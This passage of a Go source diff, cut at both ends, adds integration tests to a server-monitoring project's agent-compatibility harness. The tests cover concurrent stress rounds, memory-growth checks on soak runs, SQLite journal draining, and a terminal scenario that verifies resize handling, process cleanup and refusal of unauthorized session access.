len(plan.Operations)) + release := make(chan struct{}) + results := make(chan StressOperationEvidence, len(plan.Operations)) + var workers sync.WaitGroup + for _, operation := range plan.Operations { + operation := operation + workers.Add(1) + go func() { + defer workers.Done() + ready <- struct{}{} + <-release + if startErr := registry.Start(operation); startErr != nil { + results <- StressOperationEvidence{ID: operation.ID, Round: operation.Round, Agent: operation.Agent, PAT: operation.PAT, Kind: operation.Kind, Error: startErr.Error()} + return + } + results <- stressOperationExecutor{fixture: fixture, plan: operation}.run(ctx) + }() + } + for range plan.Operations { + select { + case <-ready: + case <-ctx.Done(): + close(release) + workers.Wait() + return StressRoundEvidence{}, ctx.Err() + } + } + close(release) + workers.Wait() + byID := make(map[StressOperationID]StressOperationEvidence, len(plan.Operations)) + for range plan.Operations { + select { + case operation := <-results: + if _, duplicate := byID[operation.ID]; duplicate { + return StressRoundEvidence{}, fmt.Errorf("duplicate result for operation %s", operation.ID.String()) + } + byID[operation.ID] = operation + case <-ctx.Done(): + return StressRoundEvidence{}, ctx.Err() + } + } + evidenceValue := StressRoundEvidence{Round: plan.Round, Operations: make([]StressOperationEvidence, len(plan.Operations))} + for index, operation := range plan.Operations { + result, exists := byID[operation.ID] + if !exists { + return StressRoundEvidence{}, ErrStressOperationMissingCompletion + } + evidenceValue.Operations[index] = result + if result.Error != "" { + return StressRoundEvidence{}, errors.Join(fmt.Errorf("operation %s (%s) failed: %s", result.ID.String(), result.Kind, result.Error), stressRoundErrors(evidenceValue)) + } + if result.Error == "" { + if err := registry.Complete(StressOperationReceipt{Operation: operation, SuccessProof: result.SuccessProof}); err != nil { + return StressRoundEvidence{}, err + } + } + } + if err := registry.ValidateComplete(); err != nil { + return StressRoundEvidence{}, err + } + if err := ValidateStressRoundEvidence(plan, evidenceValue); err != nil { + return StressRoundEvidence{}, errors.Join(err, stressRoundErrors(evidenceValue)) + } + return evidenceValue, nil +} + +func stressRoundErrors(evidenceValue StressRoundEvidence) error { + var joined error + for _, operation := range evidenceValue.Operations { + if operation.Error != "" { + joined = errors.Join(joined, errors.New(operation.Error)) + } + } + return joined +} diff --git a/integration/agentcompat/internal/scenario/stress_soak.go b/integration/agentcompat/internal/scenario/stress_soak.go new file mode 100644 index 00000000..3deae952 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_soak.go @@ -0,0 +1,88 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +var ErrStressSoakTrend = errors.New("stress soak RSS increases strictly across all iterations") + +type StressRSSSeries struct { + Process StressProcessIdentity `json:"process"` + EndRSSBytes [3]uint64 `json:"end_rss_bytes"` +} + +type StressSoakTrendEvidence struct { + Series []StressRSSSeries `json:"series"` +} + +func ValidateStressSoakTrend(evidence StressSoakTrendEvidence) error { + if len(evidence.Series) == 0 { + return errors.New("stress soak RSS series are empty") + } + seen := make(map[string]struct{}, len(evidence.Series)) + for _, series := range evidence.Series { + key := series.Process.key() + if series.Process.PID < 1 || key == ":0" || (series.Process.Kind == StressProcessAgent && series.Process.Agent.Int() < 1) { + return fmt.Errorf("process=%s: %w", key, ErrStressIdentity) + } + if _, duplicate := seen[key]; duplicate { + return fmt.Errorf("duplicate process=%s: %w", key, ErrStressIdentity) + } + seen[key] = struct{}{} + values := series.EndRSSBytes + if values[0] < values[1] && values[1] < values[2] { + return fmt.Errorf("process=%s RSS=%v: %w", key, values, ErrStressSoakTrend) + } + } + return nil +} + +func ValidateStressSoakTrendForProfile(profile contract.Profile, evidence StressSoakTrendEvidence) error { + want := profile.AgentCount() + 1 + if len(evidence.Series) != want { + return fmt.Errorf("soak series=%d want=%d: %w", len(evidence.Series), want, ErrStressIdentity) + } + seenDashboard := 0 + seenAgents := make(map[int]struct{}, profile.AgentCount()) + for _, series := range evidence.Series { + if err := validateStressSoakSeries(series); err != nil { + return err + } + switch series.Process.Kind { + case StressProcessDashboard: + seenDashboard++ + case StressProcessAgent: + ordinal := series.Process.Agent.Int() + if ordinal < 1 || ordinal > profile.AgentCount() { + return fmt.Errorf("unknown agent ordinal=%d: %w", ordinal, ErrStressIdentity) + } + if _, duplicate := seenAgents[ordinal]; duplicate { + return fmt.Errorf("duplicate agent ordinal=%d: %w", ordinal, ErrStressIdentity) + } + seenAgents[ordinal] = struct{}{} + default: + return fmt.Errorf("unknown process kind=%q: %w", series.Process.Kind, ErrStressIdentity) + } + } + if seenDashboard != 1 || len(seenAgents) != profile.AgentCount() { + return fmt.Errorf("dashboard=%d agents=%d: %w", seenDashboard, len(seenAgents), ErrStressIdentity) + } + return nil +} + +func validateStressSoakSeries(series StressRSSSeries) error { + key := series.Process.key() + if series.Process.PID < 1 || key == ":0" || (series.Process.Kind == StressProcessAgent && series.Process.Agent.Int() < 1) { + return fmt.Errorf("process=%s: %w", key, ErrStressIdentity) + } + values := series.EndRSSBytes + if values[0] < values[1] && values[1] < values[2] { + return fmt.Errorf("process=%s RSS=%v: %w", key, values, ErrStressSoakTrend) + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/stress_soak_test.go b/integration/agentcompat/internal/scenario/stress_soak_test.go new file mode 100644 index 00000000..dde395ee --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_soak_test.go @@ -0,0 +1,86 @@ +//go:build linux + +package scenario + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestStress_RejectsStrictThreePointDashboardRSSIncrease(t *testing.T) { + identity, err := NewStressDashboardProcess(101) + require.NoError(t, err) + trend := StressSoakTrendEvidence{Series: []StressRSSSeries{{Process: identity, EndRSSBytes: [3]uint64{100, 101, 102}}}} + + err = ValidateStressSoakTrend(trend) + + require.ErrorIs(t, err, ErrStressSoakTrend) +} + +func TestStress_RejectsStrictThreePointAgentRSSIncrease(t *testing.T) { + agent, err := NewStressAgentOrdinal(4) + require.NoError(t, err) + identity, err := NewStressAgentProcess(agent, 404) + require.NoError(t, err) + trend := StressSoakTrendEvidence{Series: []StressRSSSeries{{Process: identity, EndRSSBytes: [3]uint64{200, 300, 400}}}} + + err = ValidateStressSoakTrend(trend) + + require.ErrorIs(t, err, ErrStressSoakTrend) +} + +func TestStress_AcceptsStableAndNonMonotonicSoakTrend(t *testing.T) { + dashboard, err := NewStressDashboardProcess(101) + require.NoError(t, err) + agentOrdinal, err := NewStressAgentOrdinal(1) + require.NoError(t, err) + agent, err := NewStressAgentProcess(agentOrdinal, 201) + require.NoError(t, err) + trend := StressSoakTrendEvidence{Series: []StressRSSSeries{ + {Process: dashboard, EndRSSBytes: [3]uint64{100, 100, 100}}, + {Process: agent, EndRSSBytes: [3]uint64{200, 220, 210}}, + }} + + err = ValidateStressSoakTrend(trend) + + require.NoError(t, err) +} + +func TestStressSoak_RejectsMissingUnknownAndDuplicateSeries(t *testing.T) { + profile := mustProfile(t, contract.ProfileSoak) + dashboard, err := NewStressDashboardProcess(101) + require.NoError(t, err) + series := StressRSSSeries{Process: dashboard, EndRSSBytes: [3]uint64{100, 100, 100}} + + for _, mutate := range []func([]StressRSSSeries) []StressRSSSeries{ + func(values []StressRSSSeries) []StressRSSSeries { return values[:1] }, + func(values []StressRSSSeries) []StressRSSSeries { + agent, _ := NewStressAgentOrdinal(999) + process, _ := NewStressAgentProcess(agent, 999) + return append(values, StressRSSSeries{Process: process}) + }, + func(values []StressRSSSeries) []StressRSSSeries { return append(values, values[0]) }, + } { + values := make([]StressRSSSeries, 0, profile.AgentCount()+1) + values = append(values, series) + for index := 1; index <= profile.AgentCount(); index++ { + agent, agentErr := NewStressAgentOrdinal(index) + require.NoError(t, agentErr) + process, processErr := NewStressAgentProcess(agent, 200+index) + require.NoError(t, processErr) + values = append(values, StressRSSSeries{Process: process, EndRSSBytes: [3]uint64{100, 100, 100}}) + } + err = ValidateStressSoakTrendForProfile(profile, StressSoakTrendEvidence{Series: mutate(values)}) + require.Error(t, err) + } +} + +func mustProfile(t *testing.T, name contract.ProfileName) contract.Profile { + t.Helper() + profile, err := contract.ProfileByName(string(name)) + require.NoError(t, err) + return profile +} diff --git a/integration/agentcompat/internal/scenario/stress_sqlite_drain.go b/integration/agentcompat/internal/scenario/stress_sqlite_drain.go new file mode 100644 index 00000000..8885a962 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_sqlite_drain.go @@ -0,0 +1,87 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "errors" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +var ErrStressSQLiteJournalNotDrained = errors.New("stress dashboard sqlite journal is not drained") + +type stressSQLiteHoldControl interface { + ArmSQLiteHold(context.Context) (client.SQLiteHoldReceipt, error) + WaitForSQLiteHold(context.Context, client.SQLiteHoldReceipt, client.SQLiteHoldState) (client.SQLiteHoldReceipt, error) + ReleaseSQLiteHold(context.Context, client.SQLiteHoldReceipt) (client.SQLiteHoldReceipt, error) + AbortSQLiteHold(context.Context, client.SQLiteHoldReceipt) (client.SQLiteHoldReceipt, error) +} + +type stressSQLiteJournalWatch interface { + Wait(context.Context) error + Close() error +} + +type stressSQLiteJournalWatchOpener func(string) (stressSQLiteJournalWatch, error) + +func drainStressSQLiteJournal(ctx context.Context, control stressSQLiteHoldControl, writer func(context.Context) error, journalPath string, openWatch stressSQLiteJournalWatchOpener) error { + receipt, err := control.ArmSQLiteHold(ctx) + if err != nil { + return err + } + writerContext, cancelWriter := context.WithCancel(ctx) + writerDone := make(chan error, 1) + go func() { writerDone <- writer(writerContext) }() + abort := func(cause error) error { + _, abortErr := control.AbortSQLiteHold(context.WithoutCancel(ctx), receipt) + cancelWriter() + return errors.Join(cause, abortErr, <-writerDone) + } + selected, err := control.WaitForSQLiteHold(ctx, receipt, client.SQLiteHoldStateSelected) + if err != nil { + return abort(err) + } + finalizing, err := control.WaitForSQLiteHold(ctx, selected, client.SQLiteHoldStateFinalizing) + if err != nil { + return abort(err) + } + watch, err := openWatch(journalPath) + if err != nil { + return abort(err) + } + if _, err := control.ReleaseSQLiteHold(ctx, finalizing); err != nil { + return errors.Join(abort(err), watch.Close()) + } + waitErr := watch.Wait(ctx) + if waitErr != nil { + cancelWriter() + } + writerErr := <-writerDone + cancelWriter() + return errors.Join(waitErr, writerErr, watch.Close()) +} + +func drainStressDashboardSQLiteJournal(ctx context.Context, fixture *heldSessionSetRealFixture) error { + journalPath := fixture.dashboard.DatabasePath() + "-journal" + return drainStressSQLiteJournal(ctx, fixture.controlPAT.Client, func(writerContext context.Context) error { + _, err := fixture.controlPAT.Client.IOStreamState(writerContext) + return err + }, journalPath, func(path string) (stressSQLiteJournalWatch, error) { + return processharness.OpenSQLiteJournalWatch(path) + }) +} + +func observeStressDashboardSQLiteJournal(path string) func(context.Context, processharness.Sample) error { + return func(_ context.Context, sample processharness.Sample) error { + held, err := processharness.ProcessHasOpenPath(sample.PID, path) + if err != nil { + return err + } + if held { + return ErrStressSQLiteJournalNotDrained + } + return nil + } +} diff --git a/integration/agentcompat/internal/scenario/stress_sqlite_drain_test.go b/integration/agentcompat/internal/scenario/stress_sqlite_drain_test.go new file mode 100644 index 00000000..666afacb --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_sqlite_drain_test.go @@ -0,0 +1,174 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "context" + "errors" + "os" + "path/filepath" + "sync" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +type stressSQLiteHoldControlProbe struct { + mu sync.Mutex + calls []string + started chan struct{} + done chan struct{} + once sync.Once +} + +func newStressSQLiteHoldControlProbe() *stressSQLiteHoldControlProbe { + return &stressSQLiteHoldControlProbe{started: make(chan struct{}), done: make(chan struct{})} +} + +func (probe *stressSQLiteHoldControlProbe) record(call string) { + probe.mu.Lock() + defer probe.mu.Unlock() + probe.calls = append(probe.calls, call) +} + +func (probe *stressSQLiteHoldControlProbe) ArmSQLiteHold(context.Context) (client.SQLiteHoldReceipt, error) { + probe.record("arm") + return client.SQLiteHoldReceipt{ID: "ERERERERERERERERERERERERERERERERERERERERERE", State: client.SQLiteHoldStateArmed}, nil +} + +func (probe *stressSQLiteHoldControlProbe) WaitForSQLiteHold(ctx context.Context, receipt client.SQLiteHoldReceipt, target client.SQLiteHoldState) (client.SQLiteHoldReceipt, error) { + if target == client.SQLiteHoldStateSelected { + select { + case <-probe.started: + case <-ctx.Done(): + return client.SQLiteHoldReceipt{}, ctx.Err() + } + } + probe.record("wait-" + string(target)) + receipt.State = target + return receipt, nil +} + +func (probe *stressSQLiteHoldControlProbe) ReleaseSQLiteHold(context.Context, client.SQLiteHoldReceipt) (client.SQLiteHoldReceipt, error) { + probe.record("release") + probe.once.Do(func() { close(probe.done) }) + return client.SQLiteHoldReceipt{State: client.SQLiteHoldStateReleased}, nil +} + +func (probe *stressSQLiteHoldControlProbe) AbortSQLiteHold(context.Context, client.SQLiteHoldReceipt) (client.SQLiteHoldReceipt, error) { + probe.record("abort") + probe.once.Do(func() { close(probe.done) }) + return client.SQLiteHoldReceipt{State: client.SQLiteHoldStateAborted}, nil +} + +type stressSQLiteJournalWatchProbe struct { + control *stressSQLiteHoldControlProbe +} + +func (watch stressSQLiteJournalWatchProbe) Wait(ctx context.Context) error { + select { + case <-watch.control.done: + watch.control.record("watch-wait") + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +func (watch stressSQLiteJournalWatchProbe) Close() error { + watch.control.record("watch-close") + return nil +} + +func TestDrainStressSQLiteJournalOrdersHoldLifecycleBeforeCompletion(t *testing.T) { + // Given + control := newStressSQLiteHoldControlProbe() + journalPath := filepath.Join(t.TempDir(), "dashboard.sqlite-journal") + + // When + err := drainStressSQLiteJournal(t.Context(), control, func(ctx context.Context) error { + control.record("writer-start") + close(control.started) + select { + case <-control.done: + control.record("writer-complete") + return nil + case <-ctx.Done(): + return ctx.Err() + } + }, journalPath, func(path string) (stressSQLiteJournalWatch, error) { + require.Equal(t, journalPath, path) + control.record("watch-open") + return stressSQLiteJournalWatchProbe{control: control}, nil + }) + + // Then + require.NoError(t, err) + control.mu.Lock() + calls := append([]string(nil), control.calls...) + control.mu.Unlock() + require.Less(t, callIndex(calls, "arm"), callIndex(calls, "writer-start")) + require.Less(t, callIndex(calls, "writer-start"), callIndex(calls, "wait-selected")) + require.Less(t, callIndex(calls, "wait-selected"), callIndex(calls, "wait-finalizing")) + require.Less(t, callIndex(calls, "wait-finalizing"), callIndex(calls, "watch-open")) + require.Less(t, callIndex(calls, "watch-open"), callIndex(calls, "release")) + require.Less(t, callIndex(calls, "release"), callIndex(calls, "watch-wait")) + require.Less(t, callIndex(calls, "release"), callIndex(calls, "writer-complete")) + require.Less(t, callIndex(calls, "watch-wait"), callIndex(calls, "watch-close")) +} + +func TestDrainStressSQLiteJournalAbortsWriterWhenWatchCannotOpen(t *testing.T) { + // Given + control := newStressSQLiteHoldControlProbe() + watchErr := errors.New("watch unavailable") + + // When + err := drainStressSQLiteJournal(t.Context(), control, func(ctx context.Context) error { + close(control.started) + select { + case <-control.done: + return nil + case <-ctx.Done(): + return ctx.Err() + } + }, filepath.Join(t.TempDir(), "dashboard.sqlite-journal"), func(string) (stressSQLiteJournalWatch, error) { + return nil, watchErr + }) + + // Then + require.ErrorIs(t, err, watchErr) + control.mu.Lock() + calls := append([]string(nil), control.calls...) + control.mu.Unlock() + require.Contains(t, calls, "abort") +} + +func TestObserveStressDashboardSQLiteJournalRejectsFirstHeldSample(t *testing.T) { + // Given + path := filepath.Join(t.TempDir(), "dashboard.sqlite-journal") + require.NoError(t, os.WriteFile(path, []byte("journal"), 0o600)) + file, err := os.Open(path) + require.NoError(t, err) + observer := observeStressDashboardSQLiteJournal(path) + + // When + heldErr := observer(t.Context(), processharness.Sample{PID: os.Getpid()}) + require.NoError(t, file.Close()) + releasedErr := observer(t.Context(), processharness.Sample{PID: os.Getpid()}) + + // Then + require.ErrorIs(t, heldErr, ErrStressSQLiteJournalNotDrained) + require.NoError(t, releasedErr) +} + +func callIndex(calls []string, wanted string) int { + for index, call := range calls { + if call == wanted { + return index + } + } + return len(calls) +} diff --git a/integration/agentcompat/internal/scenario/terminal.go b/integration/agentcompat/internal/scenario/terminal.go new file mode 100644 index 00000000..8545c48c --- /dev/null +++ b/integration/agentcompat/internal/scenario/terminal.go @@ -0,0 +1,209 @@ +//go:build linux + +package scenario + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/evidence" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +const ( + terminalMarker = "compat-terminal" + terminalCommand = "printf 'compat-size='; stty size; printf 'compat-terminal\\n'; exit\n" + terminalShutdownContract = 2 * time.Second + terminalShutdownHarnessMargin = 500 * time.Millisecond + terminalAttachPATScope = "nezha:server:exec" +) + +type TerminalInput struct { + Paths contract.Paths + Fault contract.Fault +} + +type Terminal struct{} + +type terminalCreateRequest struct { + Protocol string `json:"protocol"` + ServerID uint64 `json:"server_id"` +} + +type terminalCreateResponse struct { + SessionID string `json:"session_id"` + ServerID uint64 `json:"server_id"` +} + +type terminalUserRequest struct { + Role uint8 `json:"role"` + Username string `json:"username"` + Password string `json:"password"` +} + +type terminalPATRequest struct { + Name string `json:"name"` + Scopes []string `json:"scopes"` + ServerIDs []uint64 `json:"server_ids,omitempty"` +} + +type terminalPATResponse struct { + Token string `json:"token"` +} + +func (Terminal) Run(ctx context.Context, input TerminalInput) (result Result, runErr error) { + assertions := NewAssertionSet() + dashboardInstance, err := dashboard.Start(ctx, dashboard.StartConfig{SourceDir: input.Paths.NezhaSource().String(), ReceiptGate: true}) + if err != nil { + return terminalFinish(assertions, err) + } + result.CleanupOK = true + defer func() { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 15*time.Second) + defer cancel() + cleanupErr := dashboardInstance.Stop(cleanupContext) + receipt := dashboardInstance.CleanupReceipt() + cleanupPassed := cleanupErr == nil && receipt.Passed && !receipt.Forced + result.CleanupOK = result.CleanupOK && cleanupPassed + if !cleanupPassed { + cleanupErr = errors.Join(cleanupErr, errors.New("dashboard cleanup receipt failed")) + result, runErr = terminalFinish(assertions, errors.Join(runErr, cleanupErr)) + result.CleanupOK = false + } + }() + + agentInstance, err := agent.Start(ctx, agent.AgentStartConfig{SourceDir: input.Paths.AgentSource().String(), Endpoint: dashboardInstance.Endpoint(), Secret: dashboardInstance.AgentSecret(), UUID: "00000000-0000-0000-0000-000000000113"}) + if err != nil { + return terminalFinish(assertions, err) + } + defer func() { + cleanupContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), 15*time.Second) + defer cancel() + cleanupErr := agentInstance.Stop(cleanupContext) + receipt := agentInstance.CleanupReceipt() + cleanupPassed := cleanupErr == nil && receipt.Passed && !receipt.Forced + result.CleanupOK = result.CleanupOK && cleanupPassed + if !cleanupPassed { + cleanupErr = errors.Join(cleanupErr, errors.New("agent cleanup receipt failed")) + result, runErr = terminalFinish(assertions, errors.Join(runErr, cleanupErr)) + result.CleanupOK = false + } + }() + if err := dashboardInstance.WaitForReceiptAccepted(ctx); err != nil { + return terminalFinish(assertions, err) + } + if err := dashboardInstance.ReleaseReceipt(ctx); err != nil { + return terminalFinish(assertions, err) + } + readiness, err := agentInstance.WaitReady(ctx, dashboardInstance) + if err != nil { + return terminalFinish(assertions, err) + } + serverID, err := terminalServerID(ctx, dashboardInstance.Clients().MCP, readiness.UUID) + if err != nil { + return terminalFinish(assertions, err) + } + baseline, err := processharness.SampleProcess(agentInstance.PID()) + if err != nil { + return terminalFinish(assertions, err) + } + + deniedClient, err := createTerminalPATClient(ctx, dashboardInstance, "terminal-denied", []string{"nezha:server:read"}, []uint64{serverID}) + if err != nil { + return terminalFinish(assertions, err) + } + _, deniedErr := client.DoREST[terminalCreateRequest, terminalCreateResponse](ctx, deniedClient, client.RESTRequest[terminalCreateRequest]{Method: http.MethodPost, Path: "/api/v1/terminal", Body: &terminalCreateRequest{Protocol: "grpc", ServerID: serverID}}) + assertions.Record("terminal denied PAT lacks exec scope", isForbidden(deniedErr), errorText(deniedErr)) + + terminal, err := client.DoREST[terminalCreateRequest, terminalCreateResponse](ctx, dashboardInstance.Clients().REST, client.RESTRequest[terminalCreateRequest]{Method: http.MethodPost, Path: "/api/v1/terminal", Body: &terminalCreateRequest{Protocol: "grpc", ServerID: serverID}}) + if err != nil || terminal.SessionID == "" || terminal.ServerID != serverID { + return terminalFinish(assertions, errors.Join(err, errors.New("terminal creation returned incomplete session"))) + } + foreignClient, cleanupForeignUser, err := createForeignTerminalPATClient(ctx, dashboardInstance) + if err != nil { + return terminalFinish(assertions, err) + } + hijackConnection, hijackErr := foreignClient.DialWebSocket(ctx, "/api/v1/ws/terminal/"+terminal.SessionID) + if hijackConnection != nil { + _ = hijackConnection.Close() + } + assertions.Record("foreign scoped PAT cannot hijack terminal session", isWebSocketDenied(hijackErr), fmt.Sprintf("scopes=[%s] denial=%s", terminalAttachPATScope, errorText(hijackErr))) + if err := cleanupForeignUser(); err != nil { + return terminalFinish(assertions, err) + } + + connection, err := dashboardInstance.Clients().WebSocket.DialWebSocket(ctx, "/api/v1/ws/terminal/"+terminal.SessionID) + if err != nil { + return terminalFinish(assertions, err) + } + defer connection.Close() + if err := connection.WriteFrame(ctx, mustTerminalResizeFrame(132, 43)); err != nil { + return terminalFinish(assertions, err) + } + initialFrame, err := connection.ReadFrame(ctx) + if err != nil { + return terminalFinish(assertions, err) + } + active, err := processharness.SampleProcess(agentInstance.PID()) + if err != nil { + return terminalFinish(assertions, err) + } + // Start the contract clock before sending exit so transport time is included. + exitSentAt := time.Now() + output, err := executeTerminalExit(ctx, terminalExitInput{InitialOutput: initialFrame.Payload, ExitSentAt: exitSentAt, Now: time.Now}, connection) + assertions.Record("terminal resize marker and bounded shell close observed", err == nil && output.MarkerObserved && output.SizeObserved && output.Rows == 43 && output.Cols == 132 && output.StreamClosed && terminalCloseWithinContract(output.CloseElapsed), terminalOutputDetails(output, err)) + if err != nil { + return terminalFinish(assertions, err) + } + residue, err := processharness.SampleProcess(agentInstance.PID()) + residueClean := err == nil && active.DescendantCount > baseline.DescendantCount && residue.DescendantCount == baseline.DescendantCount && residue.TCPListenerCount == baseline.TCPListenerCount && residue.TCP6ListenerCount == baseline.TCP6ListenerCount + assertions.Record("agent PTY child and listener residue cleared", residueClean, fmt.Sprintf("active_children=%d baseline_children=%d residue_children=%d baseline_listeners=%d/%d residue_listeners=%d/%d error=%s", active.DescendantCount, baseline.DescendantCount, residue.DescendantCount, baseline.TCPListenerCount, baseline.TCP6ListenerCount, residue.TCPListenerCount, residue.TCP6ListenerCount, errorText(err))) + _, staleErr := dashboardInstance.Clients().WebSocket.DialWebSocket(ctx, "/api/v1/ws/terminal/"+terminal.SessionID) + assertions.Record("terminal IOStream removed after shell exit", isWebSocketDenied(staleErr), errorText(staleErr)) + _, invalidErr := dashboardInstance.Clients().WebSocket.DialWebSocket(ctx, "/api/v1/ws/terminal/invalid-session") + assertions.Record("invalid terminal session rejected", webSocketFailureContains(invalidErr, "permission denied"), errorText(invalidErr)) + return terminalFinish(assertions, nil) +} + +func terminalResizeFrame(cols, rows uint32) (client.Frame, error) { + payload, err := json.Marshal(struct { + Cols uint32 + Rows uint32 + }{Cols: cols, Rows: rows}) + if err != nil { + return client.Frame{}, err + } + return client.Frame{Type: client.FrameBinary, Payload: append([]byte{1}, payload...)}, nil +} + +func mustTerminalResizeFrame(cols, rows uint32) client.Frame { + frame, _ := terminalResizeFrame(cols, rows) + return frame +} + +func terminalFinish(assertions *AssertionSet, runErr error) (Result, error) { + results := assertions.Results() + failedAssertion := false + for _, assertion := range results { + if !assertion.Passed && runErr == nil { + runErr = fmt.Errorf("%s: %s", assertion.Name, assertion.Details) + } + failedAssertion = failedAssertion || !assertion.Passed + } + if runErr != nil && !failedAssertion { + results = append(results, Assertion{Name: "terminal scenario completed", Passed: false, Details: evidence.Redact(runErr.Error())}) + } + result := Result{Name: "terminal", Passed: runErr == nil, Assertions: results, CleanupOK: true} + if runErr != nil { + result.Error = evidence.Redact(runErr.Error()) + } + return result, runErr +} diff --git a/integration/agentcompat/internal/scenario/terminal_observation.go b/integration/agentcompat/internal/scenario/terminal_observation.go new file mode 100644 index 00000000..91f2568d --- /dev/null +++ b/integration/agentcompat/internal/scenario/terminal_observation.go @@ -0,0 +1,112 @@ +//go:build linux + +package scenario + +import ( + "bytes" + "context" + "errors" + "fmt" + "regexp" + "strconv" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +var terminalSizePattern = regexp.MustCompile(`compat-size=([0-9]+) ([0-9]+)`) + +type terminalFrameConnection interface { + WriteFrame(context.Context, client.Frame) error + ReadFrame(context.Context) (client.Frame, error) +} + +type terminalExitInput struct { + InitialOutput []byte + ExitSentAt time.Time + Now func() time.Time +} + +type terminalOutputReadInput struct { + InitialOutput []byte + ExitSentAt time.Time + Now func() time.Time +} + +type terminalOutputResult struct { + Output string + MarkerObserved bool + SizeObserved bool + StreamClosed bool + Rows uint32 + Cols uint32 + CloseCode int + CloseElapsed time.Duration +} + +func executeTerminalExit(ctx context.Context, input terminalExitInput, connection terminalFrameConnection) (terminalOutputResult, error) { + contractContext, cancelContract := context.WithDeadline(ctx, input.ExitSentAt.Add(terminalShutdownContract+terminalShutdownHarnessMargin)) + defer cancelContract() + if err := connection.WriteFrame(contractContext, client.Frame{Type: client.FrameText, Payload: []byte(terminalCommand)}); err != nil { + return terminalOutputResult{}, err + } + return readTerminalOutput(contractContext, terminalOutputReadInput{InitialOutput: input.InitialOutput, ExitSentAt: input.ExitSentAt, Now: input.Now}, connection.ReadFrame) +} + +func readTerminalOutput(ctx context.Context, input terminalOutputReadInput, read func(context.Context) (client.Frame, error)) (terminalOutputResult, error) { + var output bytes.Buffer + output.Write(input.InitialOutput) + result := terminalOutputResult{Output: output.String()} + observeTerminalOutput(&result, output.Bytes()) + for { + frame, err := read(ctx) + if err != nil { + result.Output = output.String() + result.CloseCode = closeErrorCode(err) + var closeError *client.WebSocketCloseError + if result.MarkerObserved && result.SizeObserved && errors.As(err, &closeError) && terminalCloseCodeAccepted(closeError.Code) { + result.StreamClosed = true + result.CloseElapsed = input.Now().Sub(input.ExitSentAt) + return result, nil + } + return result, err + } + output.Write(frame.Payload) + observeTerminalOutput(&result, output.Bytes()) + } +} + +func observeTerminalOutput(result *terminalOutputResult, output []byte) { + result.MarkerObserved = bytes.Contains(output, []byte(terminalMarker)) + matches := terminalSizePattern.FindSubmatch(output) + if len(matches) != 3 { + return + } + rows, rowsErr := strconv.ParseUint(string(matches[1]), 10, 32) + cols, colsErr := strconv.ParseUint(string(matches[2]), 10, 32) + if rowsErr == nil && colsErr == nil { + result.SizeObserved = true + result.Rows = uint32(rows) + result.Cols = uint32(cols) + } +} + +func terminalCloseWithinContract(elapsed time.Duration) bool { + return elapsed <= terminalShutdownContract+terminalShutdownHarnessMargin +} + +func terminalCloseCodeAccepted(code int) bool { + return code == 1000 || code == 1006 +} + +func closeErrorCode(err error) int { + var closeError *client.WebSocketCloseError + if errors.As(err, &closeError) { + return closeError.Code + } + return 0 +} + +func terminalOutputDetails(output terminalOutputResult, err error) string { + return fmt.Sprintf("marker=%t size_observed=%t rows=%d cols=%d closed=%t close_code=%d close_elapsed_ms=%d close_limit_ms=%d output=%q error=%s", output.MarkerObserved, output.SizeObserved, output.Rows, output.Cols, output.StreamClosed, output.CloseCode, output.CloseElapsed.Milliseconds(), (terminalShutdownContract + terminalShutdownHarnessMargin).Milliseconds(), output.Output, errorText(err)) +} diff --git a/integration/agentcompat/internal/scenario/terminal_support.go b/integration/agentcompat/internal/scenario/terminal_support.go new file mode 100644 index 00000000..0148d5e2 --- /dev/null +++ b/integration/agentcompat/internal/scenario/terminal_support.go @@ -0,0 +1,77 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "net/http" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +func terminalServerID(ctx context.Context, mcpClient *client.Client, uuid string) (uint64, error) { + servers, err := client.CallTool[serverListArguments, serverListResult](ctx, mcpClient, client.ToolCall[serverListArguments]{Name: "server.list", Arguments: serverListArguments{OnlineOnly: true}}) + if err != nil { + return 0, err + } + for _, server := range servers.StructuredContent.Servers { + if server.UUID == uuid && server.Online { + return server.ID, nil + } + } + return 0, errors.New("terminal agent server ID not found") +} + +func createTerminalPATClient(ctx context.Context, dashboardInstance *dashboard.Dashboard, name string, scopes []string, serverIDs []uint64) (*client.Client, error) { + pat, err := client.DoREST[terminalPATRequest, terminalPATResponse](ctx, dashboardInstance.Clients().REST, client.RESTRequest[terminalPATRequest]{Method: http.MethodPost, Path: "/api/v1/api-tokens", Body: &terminalPATRequest{Name: name, Scopes: scopes, ServerIDs: serverIDs}}) + if err != nil { + return nil, err + } + return dashboardInstance.AuthenticatedClient(pat.Token) +} + +func createForeignTerminalPATClient(ctx context.Context, dashboardInstance *dashboard.Dashboard) (*client.Client, func() error, error) { + const username = "terminal-member" + const password = "terminal-member-password" + admin := dashboardInstance.Clients().REST + userID, err := client.DoREST[terminalUserRequest, uint64](ctx, admin, 